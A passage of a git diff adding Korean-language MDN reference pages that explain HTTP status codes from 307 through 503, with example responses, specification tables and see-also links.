{{HTTPMethod("GET")}}으로 틀리게 변경하였습니다. GET이 아닌 다른 메소드에 <code>302</code>동작은 웹에서 예상되지 않지만 <code>307</code> 동작은 예상할수 있습니다. GET 요청에 대해서는 동일하게 동작 합니다.</p> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox notranslate">307 Temporary Redirect +</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "307 Temporary Redirect" , "6.4.7")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + + + +<p>{{Compat("http.status.307")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li>{{HTTPStatus("302", "302 Found")}}, the equivalent of this status code, but that may change the method used when it is not a {{HTTPMethod("GET")}}.</li> + <li>{{HTTPStatus("303", "303 See Other")}}, a temporary redirect that changes the method used to {{HTTPMethod("GET")}}.</li> + <li>{{HTTPStatus("301", "301 Moved Permanently")}}, a permanent redirect</li> +</ul> diff --git a/files/ko/web/http/status/400/index.html b/files/ko/web/http/status/400/index.html new file mode 100644 index 0000000000..908113b5ae --- /dev/null +++ b/files/ko/web/http/status/400/index.html @@ -0,0 +1,36 @@ +--- +title: 400 Bad Request +slug: Web/HTTP/Status/400 +tags: + - HTTP 상태 코드 + - 상태 코드 +translation_of: Web/HTTP/Status/400 +--- +<div>{{HTTPSidebar}}</div> + +<p>HyperText Transfer Protocol (HTTP) <code><strong>400 Bad Request</strong></code> 응답 상태 코드는 서버가 클라이언트 오류(예: 잘못된 요청 구문, 유효하지 않은 요청 메시지 프레이밍, 또는 변조된 요청 라우팅) 를 감지해 요청을 처리할 수 없거나, 하지 않는다는 것을 의미합니다.</p> + +<div class="warning"> +<p>클라이언트는 요청을 수정하지 않고 동일한 형태로 다시 보내서는 안됩니다.</p> +</div> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">400 Bad Request </pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "400 Bad Request" , "6.5.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> diff --git a/files/ko/web/http/status/401/index.html b/files/ko/web/http/status/401/index.html new file mode 100644 index 0000000000..9a36c58228 --- /dev/null +++ b/files/ko/web/http/status/401/index.html @@ -0,0 +1,60 @@ +--- +title: 401 Unauthorized +slug: Web/HTTP/Status/401 +tags: + - Client error + - HTTP + - Reference + - Status code + - 클라이언트 오류 +translation_of: Web/HTTP/Status/401 +--- +<div>{{HTTPSidebar}}</div> + +<div><strong><code>401 Unauthorized</code></strong> 클라이언트 오류 상태 응답 코드는 해당 리소스에 유효한 인증 자격 증명이 없기 때문에 요청이 적용되지 않았음을 나타냅니다.<br> +<br> +이 상태는 {{HTTPHeader("WWW-Authenticate")}} 헤더와 함께 전송되며, 이 헤더는 올바르게 인증하는 방법에 대한 정보를 포함하고 있습니다.<br> +<br> +이 상태는 {{HTTPStatus("403")}}과 비슷하지만, <code>401 Unauthorized</code>의 경우에는 인증이 가능합니다.</div> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox">401 Unauthorized</pre> + +<h2 id="응답_예시">응답 예시</h2> + +<pre>HTTP/1.1 401 Unauthorized +Date: Wed, 21 Oct 2015 07:28:00 GMT +WWW-Authenticate: Basic realm="Access to staging site"</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7235", "401 Unauthorized" , "3.1")}}</td> + <td>HTTP/1.1: Authentication</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.401")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li><a href="/ko/docs/Web/HTTP/Authentication">HTTP 인증</a></li> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/ko/web/http/status/403/index.html b/files/ko/web/http/status/403/index.html new file mode 100644 index 0000000000..012e13e3b7 --- /dev/null +++ b/files/ko/web/http/status/403/index.html @@ -0,0 +1,49 @@ +--- +title: 403 Forbidden +slug: Web/HTTP/Status/403 +tags: + - 상태 코드 +translation_of: Web/HTTP/Status/403 +--- +<div>{{HTTPSidebar}}</div> + +<div>HTTP <code><strong>403 Forbidden</strong></code> 클라이언트 오류 상태 응답 코드는 서버에 요청이 전달되었지만, 권한 때문에 거절되었다는 것을 의미합니다.<br> +<br> +이 상태는 {{HTTPStatus("401")}}과 비슷하지만, 로그인 로직(틀린 비밀번호로 로그인 행위)처럼 반응하여 재인증(re-authenticating)을 하더라도 지속적으로 접속을 거절합니다.</div> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox notranslate">403 Forbidden</pre> + +<h2 id="응답_예시">응답 예시</h2> + +<pre class="notranslate">HTTP/1.1 403 Forbidden +Date: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "403 Forbidden" , "6.5.3")}}</td> + <td>HTTP/1.1: Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">이 페이지의 호환성 표는 구조화된 데이터에서 생성됩니다. 만약 이 데이터에 기여하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 방문하고 full-request를 보내주세요.</p> + +<p>{{Compat("http/status", "403")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li>{{HTTPStatus("401")}}</li> +</ul> diff --git a/files/ko/web/http/status/404/index.html b/files/ko/web/http/status/404/index.html new file mode 100644 index 0000000000..0e1a077cc9 --- /dev/null +++ b/files/ko/web/http/status/404/index.html @@ -0,0 +1,59 @@ +--- +title: 404 Not Found +slug: Web/HTTP/Status/404 +tags: + - 브라우저 + - 상태 코드 +translation_of: Web/HTTP/Status/404 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <code><strong>404</strong></code><strong><code> Not Found</code></strong> 클라이언트 오류 응답 코드는 서버가 요청받은 리소스를 찾을 수 없다는 것을 의미합니다. 404 페이지를 띄우는 링크는 대체로 브로큰 링크(broken link) 또는 데드 링크(dead link)라고 부르며, <a href="https://en.wikipedia.org/wiki/Link_rot">link rot</a> 대상일 수도 있습니다.</p> + +<p>404 상태 코드는 리소스가 일시적, 또는 영구적으로 사라졌다는 것을 의미하지는 않습니다. 리소스가 영구적히 삭제되었다면 404 상태 코드 대신 {{HTTPStatus(410)}} (Gone) 상태 코드가 쓰여야 합니다.</p> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox">404 Not Found</pre> + +<h2 id="커스텀_에러_페이지">커스텀 에러 페이지</h2> + +<p>많은 웹사이트들이 사용자에게 더 많은 도움을 주기 위해 404 페이지의 모습을 커스터마이징합니다. 아파치 서버는 <code>.htaccess</code> 파일에 아래와 같은 코드를 작성해 설정할 수 있습니다.</p> + +<pre class="brush: bash">ErrorDocument 404 /notfound.html</pre> + +<p>커스텀 404 페이지의 예시로는 <a href="https://developer.mozilla.org/en-US/404">MDN's 404 page</a>을 참고해보세요.</p> + +<div class="note"> +<p>적당한 커스텀 디자인은 좋습니다. 404 페이지를 재밌게 만들되, 사용자를 혼란스럽게 하지는 마세요.</p> +</div> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "404 Not Found" , "6.5.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.404")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPStatus(410)}}</li> + <li> + <p>{{interwiki("wikipedia", "HTTP_404", "Wikipedia: HTTP 404")}}</p> + </li> +</ul> diff --git a/files/ko/web/http/status/405/index.html b/files/ko/web/http/status/405/index.html new file mode 100644 index 0000000000..4c7d933bd9 --- /dev/null +++ b/files/ko/web/http/status/405/index.html @@ -0,0 +1,37 @@ +--- +title: 405 Method Not Allowed +slug: Web/HTTP/Status/405 +translation_of: Web/HTTP/Status/405 +--- +<div>{{HTTPSidebar}}</div> + +<p>하이퍼텍스트 전송 프로토콜(HTTP)의 <code><strong>405 Method Not Allowed</strong></code> 응답 상태 코드는 요청 방법이 서버에 의해 알려졌으나, 사용 불가능한 상태임을 가리킵니다.</p> + +<div class="note"> +<p><strong>유의: 두 가지 필수 메소드인 </strong>{{HTTPMethod("GET")}}와 {{HTTPMethod("HEAD")}}는 사용 불가능 하여서는 안 되며, 이러한 오류 타입을 반환해서는 안 됩니다.</p> +</div> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox">405 Method Not Allowed</pre> + +<h2 id="기술_사양">기술 사양</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">기술 사양</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7231", "405 Method Not Allowed" , "6.5.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="함께_보기">함께 보기</h2> + +<ul> + <li>{{HTTPHeader("Allow")}}</li> +</ul> diff --git a/files/ko/web/http/status/408/index.html b/files/ko/web/http/status/408/index.html new file mode 100644 index 0000000000..03e357a488 --- /dev/null +++ b/files/ko/web/http/status/408/index.html @@ -0,0 +1,42 @@ +--- +title: 408 Request Timeout +slug: Web/HTTP/Status/408 +translation_of: Web/HTTP/Status/408 +--- +<div>{{HTTPSidebar}}</div> + +<p>HyperText Transfer Protocol (HTTP) <code><strong>408 Request Timeout</strong></code> 응답 상태 코드는 서버가 사용하지 않는 연결을 끊고 싶다는 것을 의미한다. 서버가 클라이언트의 요청 없이도 유휴 상태의 연결에 전송한다.</p> + +<p><code>408</code>은 서버가 계속해서 기다리기보다는 연결을 종료하기로 결정했다는 것을 알려주기 때문에, 서버는 응답에 "close" {{HTTPHeader("Connection")}}헤더 필드를 추가해서 전송해야한다.</p> + +<p>크롬, 파이어폭스 27+, 그리고 인터넷 익스플로러 9와 같은 브라우저들이 서핑 속도를 높이기 위해 HTTP pre-connection 방식을 사용하기 때문에 이 응답이 더 많이 사용되고 있다.</p> + +<div class="note"> +<p><strong>Note: 어떤 서버들은 이 메세지를 전송하지 않고 연결을 종료할 수도 있다</strong>.</p> +</div> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">408 요청 시간 만료</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "408 Request Timeout" , "6.5.7")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Connection")}}</li> + <li>{{HTTPHeader("X-DNS-Prefetch-Control")}}</li> +</ul> diff --git a/files/ko/web/http/status/409/index.html b/files/ko/web/http/status/409/index.html new file mode 100644 index 0000000000..84bd9c3af4 --- /dev/null +++ b/files/ko/web/http/status/409/index.html @@ -0,0 +1,41 @@ +--- +title: 409 Conflict +slug: Web/HTTP/Status/409 +translation_of: Web/HTTP/Status/409 +--- +<div>{{HTTPSidebar}}</div> + + + + + +<p>HTTP <code><strong>409 Conflict</strong></code> 응답 상태 코드는 서버의 현재 상태와 요청이 충돌했음을 나타낸다.</p> + +<p>충돌은 {{HTTPMethod("PUT")}} 요청에 대응하여 발생할 가능성이 가장 높다. 예를 들어 서버에 이미 있는 파일보다 오래된 파일을 업로드할 때 409 응답이 발생하여 버전 제어 충돌이 발생할 수 있다.</p> + + + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">409 Conflict</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "409 Conflict" , "6.5.8")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPMethod("PUT")}}</li> +</ul> diff --git a/files/ko/web/http/status/411/index.html b/files/ko/web/http/status/411/index.html new file mode 100644 index 0000000000..1e3ab50a5c --- /dev/null +++ b/files/ko/web/http/status/411/index.html @@ -0,0 +1,36 @@ +--- +title: 411 Length Required +slug: Web/HTTP/Status/411 +translation_of: Web/HTTP/Status/411 +--- +<div>HyperText Transfer Protocol (HTTP) 411 Length Required 클라이언트 오류 응답 코드는 서버가 정의된 {{HTTPHeader("Content-Length")}} 헤더 없이 요청을 수락하지 않음을 나타낸다.</div> + +<div class="note"> +<p>참고: 사양별로 청크 시리즈로 데이터를 전송할 때 <code>Content-Length</code> 헤더가 생략되며, 각 청크의 시작 부분에서 현재 청크의 길이를 16진수 형식으로 추가해야 한다. 자세한 내용은 {{HTTPHeader("Transfer-Encoding")}}을(를) 참조하십시오.</p> +</div> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox">411 Length Required</pre> + +<h2 id="정의">정의</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "411 Length Required" , "6.5.10")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="참고">참고</h2> + +<ul> + <li>{{HTTPHeader("Content-Length")}}</li> + <li>{{HTTPHeader("Transfer-Encoding")}}</li> +</ul> diff --git a/files/ko/web/http/status/413/index.html b/files/ko/web/http/status/413/index.html new file mode 100644 index 0000000000..2e922f4d3b --- /dev/null +++ b/files/ko/web/http/status/413/index.html @@ -0,0 +1,34 @@ +--- +title: 413 Payload Too Large +slug: Web/HTTP/Status/413 +translation_of: Web/HTTP/Status/413 +--- +<div>{{HTTPSidebar}}</div> + +<div>HTTP 413 Payload Too Large 응답 상태 코드는 요청 엔터티가 서버에 의해 정의된 제한보다 크다는 것을 나타낸다. 서버가 연결을 닫거나 헤더 필드({{HTTPHeader("Retry-After")}})를 반환할 수 있다.</div> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox">413 Payload Too Large</pre> + +<h2 id="정의">정의</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">정의</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7231", "413 Payload Too Large" , "6.5.11")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="참조">참조</h2> + +<ul> + <li>{{HTTPHeader("Connection")}}</li> + <li>{{HTTPHeader("Retry-After")}}</li> +</ul> diff --git a/files/ko/web/http/status/416/index.html b/files/ko/web/http/status/416/index.html new file mode 100644 index 0000000000..3a2e1145d9 --- /dev/null +++ b/files/ko/web/http/status/416/index.html @@ -0,0 +1,51 @@ +--- +title: 416 Range Not Satisfiable +slug: Web/HTTP/Status/416 +tags: + - HTTP + - 상태 코드 + - 클라이언트 에러 +translation_of: Web/HTTP/Status/416 +--- +<div>{{HTTPSidebar}}</div> + +<p>하이퍼텍스트 트랜스퍼 프로토콜(HTTP) <code><strong>416 Range Not Satisfiable</strong></code> 에러 응답 코드는 서버가 요청받은 범위에 대해서 서비스 할 수 없음을 알려줍니다. 아마도 이유는 그 문서가 그러한 범위를 지니고 있지 않거나, 또는 {{HTTPHeader("Range")}} 헤더 값이 문법적으로는 옳지만, 이해가 되지 않을 경우 그럴 수 있습니다.</p> + +<p>416 응답 메시지는 {{HTTPHeader("Content-Range")}} 를 포함하여 만족할 수 없는 범위(그 경우 <code>'*'</code>) 뒤에 <code>'/'</code>와 현재 리소스를 알려줍니다. 예: <code>Content-Range: */12777</code></p> + +<p>이 에러를 마주하면, 브라우저는 보통 명령을 취소하거나 전체 문서를 다시 요청합니다.</p> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox">416 Range Not Satisfiable</pre> + +<h2 id="기술_사양">기술 사양</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">기술 사양</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7233", "416 Request Not Satisfiable" , "4.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p>The information shown below has been pulled from MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>). </p> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.416")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPStatus(206)}} <code>Partial Content</code></li> + <li>{{HTTPHeader("Content-Range")}}</li> + <li>{{HTTPHeader("Range")}}</li> +</ul> diff --git a/files/ko/web/http/status/418/index.html b/files/ko/web/http/status/418/index.html new file mode 100644 index 0000000000..217cca8598 --- /dev/null +++ b/files/ko/web/http/status/418/index.html @@ -0,0 +1,45 @@ +--- +title: 418 I'm a teapot +slug: Web/HTTP/Status/418 +tags: + - HTTP + - HTTP 상태 코드 + - Reference +translation_of: Web/HTTP/Status/418 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>418 I'm a teapot</code></strong> 클라이언트 오류 응답 코드는 서버가 찻주전자이기 때문에 커피 내리기를 거절했다는 것을 의미합니다. 이 오류는 1998년 만우절 농담이었던 하이퍼 텍스트 커피 포트 제어 규약(Hyper Text Coffee Pot Control Protocol)의 레퍼런스입니다.</p> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox">418 I'm a teapot</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}</td> + <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.418")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li>위키피디아 <a href="https://en.wikipedia.org/wiki/Hyper_Text_Coffee_Pot_Control_Protocol">Hyper Text Coffee Pot Control Protocol</a></li> +</ul> diff --git a/files/ko/web/http/status/422/index.html b/files/ko/web/http/status/422/index.html new file mode 100644 index 0000000000..95305b6aff --- /dev/null +++ b/files/ko/web/http/status/422/index.html @@ -0,0 +1,40 @@ +--- +title: 422 Unprocessable Entity +slug: Web/HTTP/Status/422 +tags: + - Client error + - HTTP + - HTTP Status Code + - Reference + - Status code + - WebDAV +translation_of: Web/HTTP/Status/422 +--- +<p>{{HTTPSidebar}}</p> + +<p>이 응답은 서버가 요청을 이해하고 요청 문법도 올바르지만 요청된 지시를 따를 수 없음을 나타냅니다.</p> + +<div class="warning"> +<p><strong>중요</strong>: 클라이언트는 요청을 수정하지 않고 동일한 형태로 다시 보내서는 안됩니다.</p> +</div> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox">422 Unprocessable Entity</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("4918", "422 Unprocessable Entity" , "11.2")}}</td> + <td>HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)</td> + </tr> + </tbody> +</table> diff --git a/files/ko/web/http/status/431/index.html b/files/ko/web/http/status/431/index.html new file mode 100644 index 0000000000..5b7fb103cb --- /dev/null +++ b/files/ko/web/http/status/431/index.html @@ -0,0 +1,45 @@ +--- +title: 431 Request Header Fields Too Large +slug: Web/HTTP/Status/431 +translation_of: Web/HTTP/Status/431 +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">HTTP <code><strong>431 Request Header Fields Too Large</strong></code> 응답 코드는 <a href="/en-US/docs/Web/HTTP/Headers">HTTP 헤더</a>의 크기가 너무 크기 때문에 처리가 불가능함을 알려준다. 요청 헤더의 크기를 줄인 후, 재요청을 할 수 있다.</span></p> + +<p>431는 헤더 전체의 크기가 너무 크거나, 단일 헤더 필드가 너무 클 경우에 사용된다. 이 에러를 받는 유저를 위해 응답 body에 둘 중에 어느 경우인지 명시해줄 수 있다 — 이상적으로, 어느 헤더가 처리 불가능한지 알려주면 좋다. 그러면 쿠키를 삭제하는 것과 같이 유저가 문제를 해결할 수 있도록 도와준다.</p> + +<p>서버가 431 상태 코드를 전송할 경우:</p> + +<ul> + <li>{{ httpheader("Referer") }} URL이 너무 긴 경우</li> + <li>요청에 많은 양의 <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> 포함된 경우</li> +</ul> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">431 Request Header Fields Too Large</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("6585", "431 Request Header Fields Too Large" , "5")}}</td> + <td>Additional HTTP Status Codes</td> + </tr> + </tbody> +</table> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPStatus(414, "414 URI Too Long")}}</li> + <li>{{Glossary("Request header")}}</li> +</ul> diff --git a/files/ko/web/http/status/500/index.html b/files/ko/web/http/status/500/index.html new file mode 100644 index 0000000000..0e3a70b400 --- /dev/null +++ b/files/ko/web/http/status/500/index.html @@ -0,0 +1,41 @@ +--- +title: 500 Internal Server Error +slug: Web/HTTP/Status/500 +tags: + - HTTP + - Server error + - Status code +translation_of: Web/HTTP/Status/500 +--- +<div> </div> + +<p>하이퍼텍스트 전송 프로토콜 (HTTP) <code><strong>500 Internal Server Error</strong></code> 서버 에러 응답 코드는 요청을 처리하는 과정에서 서버가 예상하지 못한 상황에 놓였다는 것을 나타냅니다.</p> + +<p>이 에러 응답은 "서버 에러를 총칭하는"(catch-all) 구체적이지 않은 응답입니다. 종종, 서버 관리자들은 미래에 같은 에러를 발생하는 것을 방지하기 위해 500 상태 코드 같은 에러 응답들에 더 많은 자세한 내용을 남겨 둡니다.</p> + +<h2 id="상태">상태</h2> + +<pre class="syntaxbox">500 Internal Server Error</pre> + +<h2 id="기술_사양">기술 사양</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p>아래 보이는 정보는 MDN 의 Github 로부터 가져왔습니다.(<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.500")}}</p> diff --git a/files/ko/web/http/status/501/index.html b/files/ko/web/http/status/501/index.html new file mode 100644 index 0000000000..664d619b04 --- /dev/null +++ b/files/ko/web/http/status/501/index.html @@ -0,0 +1,48 @@ +--- +title: 501 Not Implemented +slug: Web/HTTP/Status/501 +translation_of: Web/HTTP/Status/501 +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">HyperText Transfer Protocol (HTTP) <code><strong>501 Not Implemented</strong></code> 서버 응답 코드는 <strong>요청을 수행할 수 있는 기능을 서버가 지원하지 않는다</strong>는 것을 의미합니다.요청자에게 서버에서 기능이 지원될 때, 다시 확인해볼 수 있도록 </span>{{HTTPHeader("Retry-After")}} 헤더를 전송해줄 수 있습니다. </p> + +<p><code>501</code> 는 서버가 요청 방법을 이해하지 못하거나나 어떤 리소스를 지원하지 않은 경우에 적절합니다. 서버가 필수적으로 지원하는 method에는 {{HTTPMethod("GET")}} 와 {{HTTPMethod("HEAD")}}가 있습니다.</p> + +<p>서버가 method를 이해하지 못하지만 고의적으로 지원하지 않는 경우에는 {{HTTPStatus(405, "405 Method Not Allowed")}} 응답이 적합합니다.</p> + +<div class="note"> +<ul> + <li>501 에러는 유저가 고칠 수 있는 영역이 아니며, 접속하려는 서버측에서의 문제가 있는 것</li> + <li>캐슁 헤더의 지시가 있지 않는 이상, 501 응답은 디폴트로 cacheable하다.</li> +</ul> +</div> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">501 Not Implemented</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "501 Not Implemented" , "6.6.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>아래는 MDN Github(<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>)에서 가져온 정보입니다.</p> + +<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div> + +<p>{{Compat("http.status.501")}}</p> diff --git a/files/ko/web/http/status/502/index.html b/files/ko/web/http/status/502/index.html new file mode 100644 index 0000000000..44df64b1c4 --- /dev/null +++ b/files/ko/web/http/status/502/index.html @@ -0,0 +1,49 @@ +--- +title: 502 Bad Gateway +slug: Web/HTTP/Status/502 +translation_of: Web/HTTP/Status/502 +--- +<div>{{HTTPSidebar}}</div> + +<p>HyperText Transfer Protocol (HTTP) <code><strong>502 Bad Gateway</strong></code> 에러 응답코드는, 서버가 게이트웨이나 프록시 서버 역할을 하면서 업스트림 서버로부터 유효하지 않은 응답을 받았다는 것을 가르킨다.</p> + +<div class="note"> +<p><strong>Note: </strong>A {{interwiki("wikipedia", "Gateway_(telecommunications)", "Gateway")}} might refer to different things in networking and a 502 error is usually not something you can fix, but requires a fix by the web server or the proxies you are trying to get access through.</p> +</div> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">502 Bad Gateway +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "502 Bad Gateway" , "6.6.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>The information shown below has been pulled from MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div> + +<p>{{Compat("http.status.502")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPStatus(504)}}</li> + <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" rel="noopener">HTTP/1.1: Status Code Definitions</a></li> +</ul> diff --git a/files/ko/web/http/status/503/index.html b/files/ko/web/http/status/503/index.html new file mode 100644 index 0000000000..3b51dfdf85 --- /dev/null +++ b/files/ko/web/http/status/503/index.html @@ -0,0 +1,55 @@ +--- +title: 503 Service Unavailable +slug: Web/HTTP/Status/503 +tags: + - '503' + - HTTP + - Server error + - Status code +translation_of: Web/HTTP/Status/503 +--- +<p>{{HTTPSidebar}}</p> + +<p>하이퍼텍스트 전송 프로토콜 (HTTP) <code><strong>503 Service Unavailable</strong></code> 서버 에러 응답(response) 코드는 서버가 요청(request)을 처리할 준비가 되지 않은 것을 나타낸다.</p> + +<p>흔하게는 서버가 점검을 위해 